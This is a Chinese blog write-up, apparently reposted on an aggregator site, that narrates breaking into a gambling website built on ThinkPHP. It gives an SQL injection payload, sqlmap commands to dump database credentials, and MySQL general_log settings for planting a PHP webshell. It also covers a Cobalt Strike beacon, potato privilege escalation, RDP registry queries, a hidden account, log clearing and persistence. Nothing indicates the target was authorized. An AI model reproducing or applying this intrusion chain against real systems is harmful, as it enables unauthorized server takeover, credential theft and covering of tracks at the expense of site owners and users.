实战|对某棋牌站的一次getshell
起因
最近在fofa翻目標C段的時候,碰巧看到了這個站便記了下來,等下班回家后直接拿下。
目標環境信息
BC類的活動頁很多都是thinkphp二改的站,我們主要確定當前tp的版本號。
http://www.abc.com/index.php?s=1
目標環境信息
- Windows
- ThinkPHP v.3.2.3
- 開啟Debug模式
- 網站絕對路徑 D:\web1\abc.com\wwlsoeprsueords\
用工具掃描日志文件
tp3注入漏洞不存在,日志文件在/addons/Runtime/Logs/admin/路徑下,但并沒有掃到任何的日志文件,猜測日志文件可能為另外一個命名格式
eg. 1606510976-20_11_28.log
時間戳-年_月_日.log
該站點沒有CDN,在fofa上搜IP發現999端口為phpmyadmin頁面
尋找注入
一般來說,這類的活動推廣頁申請進度查詢是存在注入的,用burp抓包
payload如下:
username=123' and (extractvalue(1,concat(0x7e,(select user()),0x7e))))--+&id=13
果不其然,存在注入,還是root權限,直接就上sqlmap跑
python3 sqlmap.py -r 1.txt --random-agent --dbms=mysql --os-shell
還跑了幾種其他類型的注入,但我們直接--os-shell報錯,嘗試了幾次都一樣返回No output,猜測可能有某種防護產品。
getshell
前面我們有找到phpmyadmin頁面,我們枚舉數據庫賬戶和密碼
python3 sqlmap.py –r 1.txt --string="Surname" --users --password
并且已經幫我們解碼明文了,root賬號登錄后報錯#1045 無法登錄服務器,換成dog1賬號登錄成功
phpmyadmin寫shell:
- 導出文件
- 寫日志文件
SHOW GLOBAL VARIABLES LIKE "%secure%";
當secure_file_priv的值為null,表示限制mysql不允許導入|導出
當secure_file_priv的值沒有具體值時,表示不對mysql的導入|導出做限制
用命令打開日志保存狀態,設置日志保存路徑
set global general_log = "ON";
set global general_log_file='D:/web1/abc.com/robots.php';
在sql查詢語句處執行我們的php一句話,然后用蟻劍去連日志文件robots.php即可getshell
繞過限制上線cs
查看phpinfo(),發現ban了成噸的函數,無法執行命令。
我們可以上傳aspx馬進行繞過,這里我使用的是冰蝎3的aspx馬
現在可以執行命令了,但還是無法查看相關文件夾等其他問題。
查看系統有無殺軟,準備上線
tasklist /svc
沒有任何殺軟,用cs生成exe上傳到根目錄,然后啟動執行上線
用爛土豆可以直接提到system權限
直接通過注冊表查是否開啟3389,端口號是多少
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # 查看RDP服務是否開啟:1關閉,0開啟
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber # 查看RDP服務的端口
建一個隱藏用戶直接遠程登錄過去,清除日志,做自啟動,拿下該站點
?
?
?
總結
以上是生活随笔為你收集整理的实战|对某棋牌站的一次getshell的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 解决ubuntu连不上网络,输入ifco
- 下一篇: 代码审计XSS 0day